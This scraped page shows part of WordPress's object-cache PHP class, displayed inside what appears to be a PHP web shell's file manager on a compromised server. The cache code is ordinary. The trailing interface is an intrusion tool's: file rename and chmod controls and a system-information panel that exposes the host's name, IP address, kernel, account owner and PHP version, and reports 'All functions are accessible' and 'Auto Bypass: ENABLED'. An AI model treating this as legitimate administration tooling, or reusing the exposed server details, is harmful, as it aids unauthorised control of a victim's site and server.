empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( ! $this->_exists( $key, $group ) ) { return false; } if ( ! is_numeric( $this->cache[ $group ][ $key ] ) ) { $this->cache[ $group ][ $key ] = 0; } $offset = (int) $offset; $this->cache[ $group ][ $key ] -= $offset; if ( $this->cache[ $group ][ $key ] < 0 ) { $this->cache[ $group ][ $key ] = 0; } return $this->cache[ $group ][ $key ]; } /** * Clears the object cache of all data. * * @since 2.0.0 * * @return true Always returns true. */ public function flush() { $this->cache = array(); return true; } /** * Removes all cache items in a group. * * @since 6.1.0 * * @param string $group Name of group to remove from cache. * @return true Always returns true. */ public function flush_group( $group ) { unset( $this->cache[ $group ] ); return true; } /** * Sets the list of global cache groups. * * @since 3.0.0 * * @param string|string[] $groups List of groups that are global. */ public function add_global_groups( $groups ) { $groups = (array) $groups; $groups = array_fill_keys( $groups, true ); $this->global_groups = array_merge( $this->global_groups, $groups ); } /** * Switches the internal blog ID. * * This changes the blog ID used to create keys in blog specific groups. * * @since 3.5.0 * * @param int $blog_id Blog ID. */ public function switch_to_blog( $blog_id ) { $blog_id = (int) $blog_id; $this->blog_prefix = $this->multisite ? $blog_id . ':' : ''; } /** * Resets cache keys. * * @since 3.0.0 * * @deprecated 3.5.0 Use WP_Object_Cache::switch_to_blog() * @see switch_to_blog() */ public function reset() { _deprecated_function( __FUNCTION__, '3.5.0', 'WP_Object_Cache::switch_to_blog()' ); // Clear out non-global caches since the blog ID has changed. foreach ( array_keys( $this->cache ) as $group ) { if ( ! isset( $this->global_groups[ $group ] ) ) { unset( $this->cache[ $group ] ); } } } /** * Echoes the stats of the caching. * * Gives the cache hits, and cache misses. Also prints every cached group, * key and the data. * * @since 2.0.0 */ public function stats() { echo '<p>'; echo "<strong>Cache Hits:</strong> {$this->cache_hits}<br />"; echo "<strong>Cache Misses:</strong> {$this->cache_misses}<br />"; echo '</p>'; echo '<ul>'; foreach ( $this->cache as $group => $cache ) { echo '<li><strong>Group:</strong> ' . esc_html( $group ) . ' - ( ' . number_format( strlen( serialize( $cache ) ) / KB_IN_BYTES, 2 ) . 'k )</li>'; } echo '</ul>'; } }
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64 Software: Apache PHP Version: 8.3.31 Protocol: HTTP/1.1 Server IP: 167.114.27.228 Your IP: 216.73.217.47 Mail: ON Curl: ON Owner: ipifapor MySQL: ON Disabled Functions: All functions are accessible Auto Bypass: ENABLED